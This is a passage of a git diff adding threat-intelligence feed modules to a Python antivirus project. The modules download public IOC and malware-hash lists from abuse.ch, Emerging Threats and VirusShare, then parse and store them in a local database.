self.conn.execute("SELECT domain FROM ioc_domains").fetchall() + return {row[0] for row in rows} + + # ------------------------------------------------------------------ + # URLs + # ------------------------------------------------------------------ + + def add_url( + self, + url: str, + threat_name: str = "", + type: str = "malware_distribution", + source: str = "", + ) -> None: + self.conn.execute( + "INSERT OR REPLACE INTO ioc_urls (url, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + (url, threat_name, type, source, datetime.utcnow().isoformat()), + ) + self.conn.commit() + + def bulk_add_urls( + self, + records: Sequence[Tuple[str, str, str, str]], + ) -> int: + """Bulk-insert URLs. Each tuple: ``(url, threat_name, type, source)``. + + Returns the number of **new** rows actually inserted. + """ + if not records: + return 0 + now = datetime.utcnow().isoformat() + rows = [(u, tn, t, src, now) for u, tn, t, src in records] + before = self._count("ioc_urls") + self.conn.executemany( + "INSERT OR IGNORE INTO ioc_urls (url, threat_name, type, source, added_date) " + "VALUES (?, ?, ?, ?, ?)", + rows, + ) + self.conn.commit() + return self._count("ioc_urls") - before + + def lookup_url(self, url: str) -> Optional[Dict[str, Any]]: + row = self.conn.execute( + "SELECT * FROM ioc_urls WHERE url = ?", (url,) + ).fetchone() + return dict(row) if row else None + + # ------------------------------------------------------------------ + # Aggregate stats + # ------------------------------------------------------------------ + + def get_stats(self) -> Dict[str, Any]: + return { + "ips": self._count("ioc_ips"), + "domains": self._count("ioc_domains"), + "urls": self._count("ioc_urls"), + } diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py new file mode 100644 index 0000000..59d7901 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/base_feed.py @@ -0,0 +1,92 @@ +"""Abstract base class for AYN threat-intelligence feeds.""" + +from __future__ import annotations + +import logging +import time +from abc import ABC, abstractmethod +from datetime import datetime +from typing import Any, Dict, List, Optional + +logger = logging.getLogger(__name__) + + +class BaseFeed(ABC): + """Common interface for all external threat-intelligence feeds. + + Provides rate-limiting, last-updated tracking, and a uniform + ``fetch()`` contract so the :class:`SignatureManager` can orchestrate + updates without knowing feed internals. + + Parameters + ---------- + rate_limit_seconds: + Minimum interval between successive HTTP requests to the same feed. + """ + + def __init__(self, rate_limit_seconds: float = 2.0) -> None: + self._rate_limit = rate_limit_seconds + self._last_request_time: float = 0.0 + self._last_updated: Optional[datetime] = None + + # ------------------------------------------------------------------ + # Identity + # ------------------------------------------------------------------ + + @abstractmethod + def get_name(self) -> str: + """Return a short, human-readable feed name.""" + ... + + # ------------------------------------------------------------------ + # Fetching + # ------------------------------------------------------------------ + + @abstractmethod + def fetch(self) -> List[Dict[str, Any]]: + """Download the latest entries from the feed. + + Returns a list of dicts. The exact keys depend on the feed type + (hashes, IOCs, rules, etc.). The :class:`SignatureManager` is + responsible for routing each entry to the correct database. + """ + ... + + # ------------------------------------------------------------------ + # State + # ------------------------------------------------------------------ + + @property + def last_updated(self) -> Optional[datetime]: + """Timestamp of the most recent successful fetch.""" + return self._last_updated + + def _mark_updated(self) -> None: + """Record the current time as the last-successful-fetch timestamp.""" + self._last_updated = datetime.utcnow() + + # ------------------------------------------------------------------ + # Rate limiting + # ------------------------------------------------------------------ + + def _rate_limit_wait(self) -> None: + """Block until the rate-limit window has elapsed.""" + elapsed = time.monotonic() - self._last_request_time + remaining = self._rate_limit - elapsed + if remaining > 0: + logger.debug("[%s] Rate-limiting: sleeping %.1fs", self.get_name(), remaining) + time.sleep(remaining) + self._last_request_time = time.monotonic() + + # ------------------------------------------------------------------ + # Logging helpers + # ------------------------------------------------------------------ + + def _log(self, msg: str, *args: Any) -> None: + logger.info("[%s] " + msg, self.get_name(), *args) + + def _warn(self, msg: str, *args: Any) -> None: + logger.warning("[%s] " + msg, self.get_name(), *args) + + def _error(self, msg: str, *args: Any) -> None: + logger.error("[%s] " + msg, self.get_name(), *args) diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py new file mode 100644 index 0000000..c46d305 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/emergingthreats.py @@ -0,0 +1,124 @@ +"""Emerging Threats (ET Open) feed for AYN Antivirus. + +Parses community Suricata / Snort rules from Proofpoint's ET Open project +to extract IOCs (IP addresses and domains) referenced in active detection +rules. + +Source: https://rules.emergingthreats.net/open/suricata/rules/ +""" + +from __future__ import annotations + +import logging +import re +from typing import Any, Dict, List, Set + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +# We focus on the compromised-IP and C2 rule files. +_RULE_URLS = [ + "https://rules.emergingthreats.net/open/suricata/rules/compromised-ips.txt", + "https://rules.emergingthreats.net/open/suricata/rules/botcc.rules", + "https://rules.emergingthreats.net/open/suricata/rules/ciarmy.rules", + "https://rules.emergingthreats.net/open/suricata/rules/emerging-malware.rules", +] +_TIMEOUT = 30 + +# Regex patterns to extract IPs and domains from rule bodies. +_RE_IPV4 = re.compile(r"\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\b") +_RE_DOMAIN = re.compile( + r'content:"([a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?' + r'(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*' + r'\.[a-zA-Z]{2,})"' +) + +# Private / non-routable ranges to exclude from IP results. +_PRIVATE_PREFIXES = ( + "10.", "127.", "172.16.", "172.17.", "172.18.", "172.19.", + "172.20.", "172.21.", "172.22.", "172.23.", "172.24.", "172.25.", + "172.26.", "172.27.", "172.28.", "172.29.", "172.30.", "172.31.", + "192.168.", "0.", "255.", "224.", +) + + +class EmergingThreatsFeed(BaseFeed): + """Parse ET Open rule files to extract malicious IPs and domains.""" + + def get_name(self) -> str: + return "emergingthreats" + + def fetch(self) -> List[Dict[str, Any]]: + """Download and parse ET Open rules, returning IOC dicts. + + Each dict has: ``ioc_type`` (``"ip"`` or ``"domain"``), ``value``, + ``threat_name``, ``type``, ``source``. + """ + self._log("Downloading ET Open rule files") + + all_ips: Set[str] = set() + all_domains: Set[str] = set() + + for url in _RULE_URLS: + self._rate_limit_wait() + try: + resp = requests.get(url, timeout=_TIMEOUT) + resp.raise_for_status() + text = resp.text + except requests.RequestException as exc: + self._warn("Failed to fetch %s: %s", url, exc) + continue + + # Extract IPs. + if url.endswith(".txt"): + # Plain text IP list (one per line). + for line in text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + match = _RE_IPV4.match(line) + if match: + ip = match.group(1) + if not ip.startswith(_PRIVATE_PREFIXES): + all_ips.add(ip) + else: + # Suricata rule file — extract IPs from rule body. + for ip_match in _RE_IPV4.finditer(text): + ip = ip_match.group(1) + if not ip.startswith(_PRIVATE_PREFIXES): + all_ips.add(ip) + + # Extract domains from content matches. + for domain_match in _RE_DOMAIN.finditer(text): + domain = domain_match.group(1).lower() + # Filter out very short or generic patterns. + if "." in domain and len(domain) > 4: + all_domains.add(domain) + + # Build result list. + results: List[Dict[str, Any]] = [] + for ip in all_ips: + results.append({ + "ioc_type": "ip", + "value": ip, + "threat_name": "ET.Compromised", + "type": "C2", + "source": "emergingthreats", + "details": "IP from Emerging Threats ET Open rules", + }) + for domain in all_domains: + results.append({ + "ioc_type": "domain", + "value": domain, + "threat_name": "ET.MaliciousDomain", + "type": "C2", + "source": "emergingthreats", + "details": "Domain extracted from ET Open Suricata rules", + }) + + self._log("Extracted %d IP(s) and %d domain(s)", len(all_ips), len(all_domains)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py new file mode 100644 index 0000000..8cf0195 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/feodotracker.py @@ -0,0 +1,73 @@ +"""Feodo Tracker feed for AYN Antivirus. + +Downloads the recommended IP blocklist from the abuse.ch Feodo Tracker +project. The list contains IP addresses of verified botnet C2 servers +(Dridex, Emotet, TrickBot, QakBot, etc.). + +Source: https://feodotracker.abuse.ch/blocklist/ +""" + +from __future__ import annotations + +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_BLOCKLIST_URL = "https://feodotracker.abuse.ch/downloads/ipblocklist_aggressive.txt" +_TIMEOUT = 30 + + +class FeodoTrackerFeed(BaseFeed): + """Fetch C2 server IPs from the Feodo Tracker blocklist.""" + + def get_name(self) -> str: + return "feodotracker" + + def fetch(self) -> List[Dict[str, Any]]: + """Download the recommended IP blocklist. + + Returns a list of dicts, each with: + ``ioc_type="ip"``, ``value``, ``threat_name``, ``type``, ``source``. + """ + self._rate_limit_wait() + self._log("Downloading Feodo Tracker IP blocklist") + + try: + resp = requests.get(_BLOCKLIST_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + for line in resp.text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + # Basic IPv4 validation. + parts = line.split(".") + if len(parts) != 4: + continue + try: + if not all(0 <= int(p) <= 255 for p in parts): + continue + except ValueError: + continue + + results.append({ + "ioc_type": "ip", + "value": line, + "threat_name": "Botnet.C2.Feodo", + "type": "C2", + "source": "feodotracker", + "details": "Verified botnet C2 IP from Feodo Tracker", + }) + + self._log("Fetched %d C2 IP(s)", len(results)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py new file mode 100644 index 0000000..b368b81 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/malwarebazaar.py @@ -0,0 +1,174 @@ +"""MalwareBazaar feed for AYN Antivirus. + +Fetches recent malware sample hashes from the abuse.ch MalwareBazaar +CSV export (free, no API key required). + +CSV export: https://bazaar.abuse.ch/export/ +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List, Optional + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://bazaar.abuse.ch/export/csv/recent/" +_CSV_FULL_URL = "https://bazaar.abuse.ch/export/csv/full/" +_API_URL = "https://mb-api.abuse.ch/api/v1/" +_TIMEOUT = 60 + + +class MalwareBazaarFeed(BaseFeed): + """Fetch malware SHA-256 hashes from MalwareBazaar. + + Uses the free CSV export by default. Falls back to JSON API + if an api_key is provided. + """ + + def __init__(self, api_key: Optional[str] = None, **kwargs: Any) -> None: + super().__init__(**kwargs) + self.api_key = api_key + + def get_name(self) -> str: + return "malwarebazaar" + + def fetch(self) -> List[Dict[str, Any]]: + """Fetch recent malware hashes from CSV export.""" + return self._fetch_csv(_CSV_RECENT_URL) + + def fetch_recent(self, hours: int = 24) -> List[Dict[str, Any]]: + """Fetch recent samples. CSV export returns last ~1000 samples.""" + return self._fetch_csv(_CSV_RECENT_URL) + + def _fetch_csv(self, url: str) -> List[Dict[str, Any]]: + """Download and parse the MalwareBazaar CSV export.""" + self._rate_limit_wait() + self._log("Fetching hashes from %s", url) + + try: + resp = requests.get(url, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [ + line for line in resp.text.splitlines() + if line.strip() and not line.startswith("#") + ] + + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 8: + continue + # CSV columns: + # 0: first_seen, 1: sha256, 2: md5, 3: sha1, + # 4: reporter, 5: filename, 6: file_type, 7: mime_type, + # 8+: signature, ... + sha256 = row[1].strip().strip('"') + if not sha256 or len(sha256) != 64: + continue + + filename = row[5].strip().strip('"') if len(row) > 5 else "" + file_type = row[6].strip().strip('"') if len(row) > 6 else "" + signature = row[8].strip().strip('"') if len(row) > 8 else "" + reporter = row[4].strip().strip('"') if len(row) > 4 else "" + + threat_name = ( + signature + if signature and signature not in ("null", "n/a", "None", "") + else f"Malware.{_map_type_name(file_type)}" + ) + + results.append({ + "hash": sha256.lower(), + "threat_name": threat_name, + "threat_type": _map_type(file_type), + "severity": "HIGH", + "source": "malwarebazaar", + "details": ( + f"file={filename}, type={file_type}, reporter={reporter}" + ), + }) + + self._log("Parsed %d hash signature(s) from CSV", len(results)) + self._mark_updated() + return results + + def fetch_by_tag(self, tag: str) -> List[Dict[str, Any]]: + """Fetch samples by tag (requires API key, falls back to empty).""" + if not self.api_key: + self._warn("fetch_by_tag requires API key") + return [] + + self._rate_limit_wait() + payload = {"query": "get_taginfo", "tag": tag, "limit": 100} + if self.api_key: + payload["api_key"] = self.api_key + + try: + resp = requests.post(_API_URL, data=payload, timeout=_TIMEOUT) + resp.raise_for_status() + data = resp.json() + except requests.RequestException as exc: + self._error("API request failed: %s", exc) + return [] + + if data.get("query_status") != "ok": + return [] + + results = [] + for entry in data.get("data", []): + sha256 = entry.get("sha256_hash", "") + if not sha256: + continue + results.append({ + "hash": sha256.lower(), + "threat_name": entry.get("signature") or f"Malware.{tag}", + "threat_type": _map_type(entry.get("file_type", "")), + "severity": "HIGH", + "source": "malwarebazaar", + "details": f"tag={tag}, file_type={entry.get('file_type', '')}", + }) + self._mark_updated() + return results + + +def _map_type(file_type: str) -> str: + ft = file_type.lower() + if any(x in ft for x in ("exe", "dll", "elf", "pe32")): + return "MALWARE" + if any(x in ft for x in ("doc", "xls", "pdf", "rtf")): + return "MALWARE" + if any(x in ft for x in ("script", "js", "vbs", "ps1", "bat", "sh")): + return "MALWARE" + return "MALWARE" + + +def _map_type_name(file_type: str) -> str: + """Map file type to a readable threat name suffix.""" + ft = file_type.lower().strip() + m = { + "exe": "Win32.Executable", "dll": "Win32.DLL", "msi": "Win32.Installer", + "elf": "Linux.ELF", "so": "Linux.SharedLib", + "doc": "Office.Document", "docx": "Office.Document", + "xls": "Office.Spreadsheet", "xlsx": "Office.Spreadsheet", + "pdf": "PDF.Document", "rtf": "Office.RTF", + "js": "Script.JavaScript", "vbs": "Script.VBScript", + "ps1": "Script.PowerShell", "bat": "Script.Batch", + "sh": "Script.Shell", "py": "Script.Python", + "apk": "Android.APK", "ipa": "iOS.IPA", + "app": "macOS.App", "pkg": "macOS.Pkg", "dmg": "macOS.DMG", + "rar": "Archive.RAR", "zip": "Archive.ZIP", + "7z": "Archive.7Z", "tar": "Archive.TAR", "gz": "Archive.GZ", + "iso": "DiskImage.ISO", "img": "DiskImage.IMG", + } + return m.get(ft, "Generic") diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py new file mode 100644 index 0000000..bc03a25 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/threatfox.py @@ -0,0 +1,117 @@ +"""ThreatFox feed for AYN Antivirus. + +Fetches IOCs (IPs, domains, URLs, hashes) from the abuse.ch ThreatFox +CSV export (free, no API key required). + +CSV export: https://threatfox.abuse.ch/export/ +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://threatfox.abuse.ch/export/csv/recent/" +_CSV_FULL_URL = "https://threatfox.abuse.ch/export/csv/full/" +_TIMEOUT = 60 + + +class ThreatFoxFeed(BaseFeed): + """Fetch IOCs from ThreatFox CSV export.""" + + def get_name(self) -> str: + return "threatfox" + + def fetch(self) -> List[Dict[str, Any]]: + return self.fetch_recent() + + def fetch_recent(self, days: int = 7) -> List[Dict[str, Any]]: + """Fetch recent IOCs from CSV export.""" + self._rate_limit_wait() + self._log("Fetching IOCs from CSV export") + + try: + resp = requests.get(_CSV_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + + for row in reader: + if len(row) < 6: + continue + # CSV: 0:first_seen, 1:ioc_id, 2:ioc_value, 3:ioc_type, + # 4:threat_type, 5:malware, 6:malware_alias, + # 7:malware_printable, 8:last_seen, 9:confidence, + # 10:reference, 11:tags, 12:reporter + ioc_value = row[2].strip().strip('"') + ioc_type_raw = row[3].strip().strip('"').lower() + threat_type = row[4].strip().strip('"') if len(row) > 4 else "" + malware = row[5].strip().strip('"') if len(row) > 5 else "" + malware_printable = row[7].strip().strip('"') if len(row) > 7 else "" + confidence = row[9].strip().strip('"') if len(row) > 9 else "0" + + if not ioc_value: + continue + + # Classify IOC type + ioc_type = _classify_ioc(ioc_type_raw, ioc_value) + threat_name = malware_printable or malware or "Unknown" + + # Hash IOCs go into hash DB + if ioc_type == "hash": + results.append({ + "hash": ioc_value.lower(), + "threat_name": threat_name, + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "threatfox", + "details": f"threat={threat_type}, confidence={confidence}", + }) + else: + clean_value = ioc_value + if ioc_type == "ip" and ":" in ioc_value: + clean_value = ioc_value.rsplit(":", 1)[0] + + results.append({ + "ioc_type": ioc_type, + "value": clean_value, + "threat_name": threat_name, + "type": threat_type or "C2", + "source": "threatfox", + "confidence": int(confidence) if confidence.isdigit() else 0, + }) + + self._log("Fetched %d IOC(s)", len(results)) + self._mark_updated() + return results + + +def _classify_ioc(raw_type: str, value: str) -> str: + if "ip" in raw_type: + return "ip" + if "domain" in raw_type: + return "domain" + if "url" in raw_type: + return "url" + if "hash" in raw_type or "sha256" in raw_type or "md5" in raw_type: + return "hash" + if value.startswith("http://") or value.startswith("https://"): + return "url" + if len(value) == 64 and all(c in "0123456789abcdef" for c in value.lower()): + return "hash" + if ":" in value and value.replace(".", "").replace(":", "").isdigit(): + return "ip" + return "domain" diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py new file mode 100644 index 0000000..64af1c5 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/urlhaus.py @@ -0,0 +1,131 @@ +"""URLhaus feed for AYN Antivirus. + +Fetches malicious URLs and payload hashes from the abuse.ch URLhaus +CSV/text exports (free, no API key required). +""" + +from __future__ import annotations + +import csv +import io +import logging +from typing import Any, Dict, List + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_CSV_RECENT_URL = "https://urlhaus.abuse.ch/downloads/csv_recent/" +_TEXT_ONLINE_URL = "https://urlhaus.abuse.ch/downloads/text_online/" +_PAYLOAD_RECENT_URL = "https://urlhaus.abuse.ch/downloads/payloads_recent/" +_TIMEOUT = 60 + + +class URLHausFeed(BaseFeed): + """Fetch malware URLs and payload hashes from URLhaus.""" + + def get_name(self) -> str: + return "urlhaus" + + def fetch(self) -> List[Dict[str, Any]]: + results = self.fetch_recent() + results.extend(self.fetch_payloads()) + return results + + def fetch_recent(self) -> List[Dict[str, Any]]: + """Fetch recent malicious URLs from CSV export.""" + self._rate_limit_wait() + self._log("Fetching recent URLs from CSV export") + + try: + resp = requests.get(_CSV_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("CSV download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 4: + continue + # 0:id, 1:dateadded, 2:url, 3:url_status, 4:threat, 5:tags, 6:urlhaus_link, 7:reporter + url = row[2].strip().strip('"') + if not url or not url.startswith("http"): + continue + threat = row[4].strip().strip('"') if len(row) > 4 else "" + results.append({ + "ioc_type": "url", + "value": url, + "threat_name": threat if threat and threat != "None" else "Malware.Distribution", + "type": "malware_distribution", + "source": "urlhaus", + }) + + self._log("Fetched %d URL(s)", len(results)) + self._mark_updated() + return results + + def fetch_payloads(self) -> List[Dict[str, Any]]: + """Fetch recent payload hashes (SHA256) from URLhaus.""" + self._rate_limit_wait() + self._log("Fetching payload hashes") + + try: + resp = requests.get(_PAYLOAD_RECENT_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Payload download failed: %s", exc) + return [] + + results: List[Dict[str, Any]] = [] + lines = [l for l in resp.text.splitlines() if l.strip() and not l.startswith("#")] + reader = csv.reader(io.StringIO("\n".join(lines))) + for row in reader: + if len(row) < 7: + continue + # 0:first_seen, 1:url, 2:file_type, 3:md5, 4:sha256, 5:signature + sha256 = row[4].strip().strip('"') if len(row) > 4 else "" + if not sha256 or len(sha256) != 64: + continue + sig = row[5].strip().strip('"') if len(row) > 5 else "" + results.append({ + "hash": sha256.lower(), + "threat_name": sig if sig and sig != "None" else "Malware.URLhaus.Payload", + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "urlhaus", + "details": f"file_type={row[2].strip()}" if len(row) > 2 else "", + }) + + self._log("Fetched %d payload hash(es)", len(results)) + return results + + def fetch_active(self) -> List[Dict[str, Any]]: + """Fetch currently-active malware URLs.""" + self._rate_limit_wait() + try: + resp = requests.get(_TEXT_ONLINE_URL, timeout=_TIMEOUT) + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Download failed: %s", exc) + return [] + + results = [] + for line in resp.text.splitlines(): + line = line.strip() + if not line or line.startswith("#"): + continue + results.append({ + "ioc_type": "url", + "value": line, + "threat_name": "Malware.Distribution.Active", + "type": "malware_distribution", + "source": "urlhaus", + }) + self._log("Fetched %d active URL(s)", len(results)) + self._mark_updated() + return results diff --git a/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py b/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py new file mode 100644 index 0000000..933465e --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/feeds/virusshare.py @@ -0,0 +1,114 @@ +"""VirusShare feed for AYN Antivirus. + +Downloads MD5 hash lists from VirusShare.com — one of the largest +free malware hash databases. Each list contains 65,536 MD5 hashes +of known malware samples (.exe, .dll, .rar, .doc, .pdf, .app, etc). + +https://virusshare.com/hashes +""" + +from __future__ import annotations + +import logging +import os +from pathlib import Path +from typing import Any, Dict, List, Optional + +import requests + +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed + +logger = logging.getLogger(__name__) + +_BASE_URL = "https://virusshare.com/hashfiles/VirusShare_{:05d}.md5" +_TIMEOUT = 30 +_STATE_FILE = "/var/lib/ayn-antivirus/.virusshare_last" + + +class VirusShareFeed(BaseFeed): + """Fetch malware MD5 hashes from VirusShare. + + Tracks the last downloaded list number so incremental updates + only fetch new lists. + """ + + def __init__(self, **kwargs: Any) -> None: + super().__init__(**kwargs) + self._last_list = self._load_state() + + def get_name(self) -> str: + return "virusshare" + + def fetch(self) -> List[Dict[str, Any]]: + """Fetch new hash lists since last update.""" + return self.fetch_new_lists(max_lists=3) + + def fetch_new_lists(self, max_lists: int = 3) -> List[Dict[str, Any]]: + """Download up to max_lists new VirusShare hash files.""" + results: List[Dict[str, Any]] = [] + start = self._last_list + 1 + fetched = 0 + + for i in range(start, start + max_lists): + self._rate_limit_wait() + url = _BASE_URL.format(i) + self._log("Fetching VirusShare_%05d", i) + + try: + resp = requests.get(url, timeout=_TIMEOUT) + if resp.status_code == 404: + self._log("VirusShare_%05d not found — at latest", i) + break + resp.raise_for_status() + except requests.RequestException as exc: + self._error("Failed to fetch list %d: %s", i, exc) + break + + hashes = [ + line.strip() + for line in resp.text.splitlines() + if line.strip() and not line.startswith("#") and len(line.strip()) == 32 + ] + + for h in hashes: + results.append({ + "hash": h.lower(), + "threat_name": "Malware.VirusShare", + "threat_type": "MALWARE", + "severity": "HIGH", + "source": "virusshare", + "details": f"md5,list={i:05d}", + }) + + self._last_list = i + self._save_state(i) + fetched += 1 + self._log("VirusShare_%05d: %d hashes", i, len(hashes)) + + self._log("Fetched %d list(s), %d total hashes", fetched, len(results)) + if results: + self._mark_updated() + return results + + def fetch_initial(self, start_list: int = 470, count: int = 11) -> List[Dict[str, Any]]: + """Bulk download for initial setup.""" + old = self._last_list + self._last_list = start_list - 1 + results = self.fetch_new_lists(max_lists=count) + if not results: + self._last_list = old + return results + + @staticmethod + def _load_state() -> int: + try: + return int(Path(_STATE_FILE).read_text().strip()) + except Exception: + return 480 # Default: start after list 480 + + @staticmethod + def _save_state(n: int) -> None: + try: + Path(_STATE_FILE).write_text(str(n)) + except Exception: + pass diff --git a/ayn-antivirus/ayn_antivirus/signatures/manager.py b/ayn-antivirus/ayn_antivirus/signatures/manager.py new file mode 100644 index 0000000..e699287 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/signatures/manager.py @@ -0,0 +1,320 @@ +"""Signature manager for AYN Antivirus. + +Orchestrates all threat-intelligence feeds, routes fetched entries into the +correct database (hash DB or IOC DB), and exposes high-level update / +status / integrity operations for the CLI and scheduler. +""" + +from __future__ import annotations + +import logging +import sqlite3 +import threading +import time +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, List, Optional + +from ayn_antivirus.config import Config +from ayn_antivirus.constants import DEFAULT_DB_PATH +from ayn_antivirus.core.event_bus import EventType, event_bus +from ayn_antivirus.signatures.db.hash_db import HashDatabase +from ayn_antivirus.signatures.db.ioc_db import IOCDatabase +from ayn_antivirus.signatures.feeds.base_feed import BaseFeed +from ayn_antivirus.signatures.feeds.emergingthreats import EmergingThreatsFeed +from ayn_antivirus.signatures.feeds.feodotracker import FeodoTrackerFeed +from ayn_antivirus.signatures.feeds.malwarebazaar import MalwareBazaarFeed +from ayn_antivirus.signatures.feeds.threatfox import ThreatFoxFeed +from ayn_antivirus.signatures.feeds.urlhaus import URLHausFeed +from ayn_antivirus.signatures.feeds.virusshare import VirusShareFeed + +logger = logging.getLogger(__name__) + + +class SignatureManager: + """Central coordinator for signature / IOC updates. + + Parameters + ---------- + config: + Application configuration. + db_path: + Override the database path from config. + """ + + def __init__( + self, + config: Config, + db_path: Optional[str | Path] = None, + ) -> None: + self.config = config + self._db_path = Path(db_path or config.db_path) + + # Databases. + self.hash_db = HashDatabase(self._db_path) + self.ioc_db = IOCDatabase(self._db_path) + + # Feeds — instantiated lazily so missing API keys don't crash init. + self._feeds: Dict[str, BaseFeed] = {} + self._init_feeds() + + # Auto-update thread handle. + self._auto_update_stop = threading.Event() + self._auto_update_thread: Optional[threading.Thread] = None + + # ------------------------------------------------------------------ + # Feed registry + # ------------------------------------------------------------------ + + def _init_feeds(self) -> None: + """Register the built-in feeds.""" + api_keys = self.config.api_keys + + self._feeds["malwarebazaar"] = MalwareBazaarFeed( + api_key=api_keys.get("malwarebazaar"), + ) + self._feeds["threatfox"] = ThreatFoxFeed() + self._feeds["urlhaus"] = URLHausFeed() + self._feeds["feodotracker"] = FeodoTrackerFeed() + self._feeds["emergingthreats"] = EmergingThreatsFeed() + self._feeds["virusshare"] = VirusShareFeed() + + @property + def feed_names(self) -> List[str]: + return list(self._feeds.keys()) + + # ------------------------------------------------------------------ + # Update operations + # ------------------------------------------------------------------ + + def update_all(self) -> Dict[str, Any]: + """Fetch from every registered feed and store results. + + Returns a summary dict with per-feed statistics. + """ + self.hash_db.initialize() + self.ioc_db.initialize() + + summary: Dict[str, Any] = {"feeds": {}, "total_new": 0, "errors": []} + + for name, feed in self._feeds.items(): + try: + stats = self._update_single(name, feed) + summary["feeds"][name] = stats + summary["total_new"] += stats.get("inserted", 0) + except Exception as exc: + logger.exception("Feed '%s' failed", name) + summary["feeds"][name] = {"error": str(exc)} + summary["errors"].append(name) + + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "source": "manager", + "feeds_updated": len(summary["feeds"]) - len(summary["errors"]), + "total_new": summary["total_new"], + }) + + logger.info( + "Signature update complete: %d feed(s), %d new entries, %d error(s)", + len(self._feeds), + summary["total_new"], + len(summary["errors"]), + ) + return summary + + def update_feed(self, feed_name: str) -> Dict[str, Any]: + """Update a single feed by name. + + Raises ``KeyError`` if *feed_name* is not registered. + """ + if feed_name not in self._feeds: + raise KeyError(f"Unknown feed: {feed_name!r} (available: {self.feed_names})") + + self.hash_db.initialize() + self.ioc_db.initialize() + + feed = self._feeds[feed_name] + stats = self._update_single(feed_name, feed) + + event_bus.publish(EventType.SIGNATURE_UPDATED, { + "source": "manager", + "feed": feed_name, + "inserted": stats.get("inserted", 0), + }) + + return stats + + def _update_single(self, name: str, feed: BaseFeed) -> Dict[str, Any]: + """Fetch from one feed and route entries to the right DB.""" + logger.info("Updating feed: %s", name) + entries = feed.fetch() + + hashes_added = 0 + ips_added = 0 + domains_added = 0 + urls_added = 0 + + # Classify and batch entries. + hash_rows = [] + ip_rows = [] + domain_rows = [] + url_rows = [] + + for entry in entries: + ioc_type = entry.get("ioc_type") + + if ioc_type is None: + # Hash-based entry (from MalwareBazaar). + hash_rows.append(( + entry.get("hash", ""), + entry.get("threat_name", ""), + entry.get("threat_type", "MALWARE"), + entry.get("severity", "HIGH"), + entry.get("source", name), + entry.get("details", ""), + )) + elif ioc_type == "ip": + ip_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", "C2"), + entry.get("source", name), + )) + elif ioc_type == "domain": + domain_rows.append(( + entry.get("value", ""), + entry.get("threat_name", ""), + entry.get("type", 